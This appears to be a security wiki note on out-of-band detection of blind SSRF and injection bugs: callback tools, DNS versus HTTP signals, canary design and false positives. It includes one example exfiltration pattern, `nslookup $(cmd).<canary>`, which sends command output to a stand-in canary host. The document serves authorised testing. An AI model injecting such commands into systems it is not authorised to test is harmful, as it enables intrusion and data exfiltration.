# Out-of-Band Detection
> Confirming a vulnerability by observing a network callback (DNS or HTTP) to an attacker-controlled canary host, rather than by anything in the application's response — the primary method for proving [[Blind SSRF]] and other no-reflection bugs.
## How it works
Plant a unique, attributable hostname in the sink, then watch an external listener for interaction. If the target resolves or connects to that host, the back end reached out, which proves the sink issues server-side requests even when the body is never reflected. This is OAST (out-of-band application security testing). The same channel confirms blind XXE, blind SQLi/command injection with `nslookup`/`curl`, and header-reflection gadgets.
## Tooling
- **Burp Collaborator** — generates unique subdomains, runs the DNS/HTTP(S)/SMTP listener, and polls for interactions. Right-click a header value → *Insert Collaborator Payload*; *Poll now* to view hits. Server-side execution is often asynchronous, so poll after a delay.
- **interactsh (ProjectDiscovery)** — self-hostable OAST, `*.oast.*` / `oastify.com`-style domains; integrates with nuclei for templated detection (e.g. the CVE-2025-4123 Grafana template). Preferred when Collaborator's public server is unsuitable or self-hosting/attribution is needed.
- **ssrf-sheriff** (Go) — canary server that returns a per-request secret token in content-specific responses (JSON/XML/HTML/CSV/TXT and PNG/JPEG/GIF/MP3/MP4). The matching content-type lets a callback survive a sink that validates the response is an image, and the per-request token proves *which* injection fired. Built for the Uber H1-4420 2019 live event; inspired by Frans Rosén.
- **Collaborator Everywhere** (Burp BApp) — auto-injects canary payloads into scoped traffic's headers (`Referer`, `X-Forwarded-For`, etc.) so blind sinks surface passively while you browse.
- **DNSBin / requestbin**-style services as lightweight fallbacks.
## DNS vs HTTP callbacks
- **DNS callback only, no HTTP.** Extremely common and still a positive: the host attempted an HTTP request (triggering the lookup) but the outbound HTTP was dropped by egress filtering. Infrastructure routinely permits recursive DNS while blocking arbitrary outbound HTTP. DNS also wins when the data path is DNS-only (e.g. `nslookup $(cmd).<canary>` exfil), because resolvers forward the query regardless of HTTP egress rules.
- **HTTP callback.** Proves full outbound HTTP reachability — the stronger signal, and the one needed to confirm the sink can talk to arbitrary web services. For SSRF specifically, treat "DNS + HTTP both received" as the bar for an unambiguous finding; DNS-only still proves the lookup but may not prove exploitable HTTP egress.
- Use unique subdomains per injection point so DNS-vs-HTTP and timing are attributable to a specific sink.
## Canary design
- **Uniqueness/attribution:** one subdomain (or token) per candidate sink and per request, so a hit maps back to the exact parameter/header. Match-and-replace the real URL in every request with your canary to spray coverage.
- **Protocol prefix matters:** some sinks only fire with an explicit `http://` scheme on the value (e.g. a `Referer` that is fetched) — a bare domain yields nothing.
- **Content-type survival:** when the sink checks the response (image loader, PDF renderer), serve a response whose content-type matches (ssrf-sheriff pattern) so the interaction isn't discarded before the callback is logged.
- **Second-order canaries:** store the canary where it is fetched later (webhook target, `List-Unsubscribe` header, profile field) and correlate the delayed callback.
## False positives
OAST callbacks are not always the bug you think. Common benign/unattributable sources:
- **Link unfurlers / URL preview bots** — Slack, Teams, iMessage, Twitter, and webmail generate server-side fetches of any URL you submit; a callback from their IP/UA is the platform previewing, not *your target's* SSRF.
- **Security scanners, AV/URL-reputation, and sandbox detonation** fetch submitted links out of band.
- **Email pipelines** — the `List-Unsubscribe` SSRF research shows a webmail server can fetch the unsubscribe URL only under specific config (e.g. Nextcloud requires `allow_local_remote_servers => true` and a valid DKIM signature), so an `oastify.com` hit there may reflect a mail gateway or preview, not an exploitable internal SSRF.
- **CDN/DNS prefetch and corporate proxies** resolve names speculatively.
Mitigate by checking the source IP/User-Agent and ASN of the interaction, requiring the matching per-request token, and confirming the callback timing correlates with your request rather than arriving on a schedule.
## Related
- [[Server-Side Request Forgery]]
- [[Blind SSRF]]
- [[Partial SSRF]]
- [[Webhook SSRF]]
- [[Host Header SSRF]]
- [[DNS Rebinding]]
## Sources
- [[raw/portswigger.net/blind-ssrf-vulnerabilities-portswigger-3175|Blind SSRF vulnerabilities]]
- [[raw/portswigger.net/blind-ssrf-lab-out-of-band-detection-3174|Lab: Blind SSRF with out-of-band detection]]
- [[raw/medium.com/uncovering-blind-ssrf-using-burp-collaborator-3191|Uncovering Blind SSRF using Burp Collaborator]]
- [[raw/safe.security/blind-ssrf-with-shellshock-exploitation-3171|Blind SSRF with Shellshock Exploitation]]
- [[raw/blog.assetnote.io/a-glossary-of-blind-ssrf-chains-assetnote-83|A Glossary of Blind SSRF Chains]]
- [[raw/github.com/github-teknogeek-ssrf-sheriff-a-simple-ssrf-testing-sheriff-written-in-1526|ssrf-sheriff: a simple SSRF testing sheriff written in Go]]
- [[raw/shahjerry33.medium.com/blind-ssrf-the-hide-seek-game-1989|Blind SSRF - The Hide & Seek Game]]
- [[raw/security.lauritz-holtmann.de/turning-list-unsubscribe-into-an-ssrf-xss-gadget-2484|Turning List-Unsubscribe into an SSRF/XSS Gadget]]
- [[raw/intigriti.com/ssrf-advanced-exploitation-guide-3318|SSRF: Advanced Exploitation Guide]]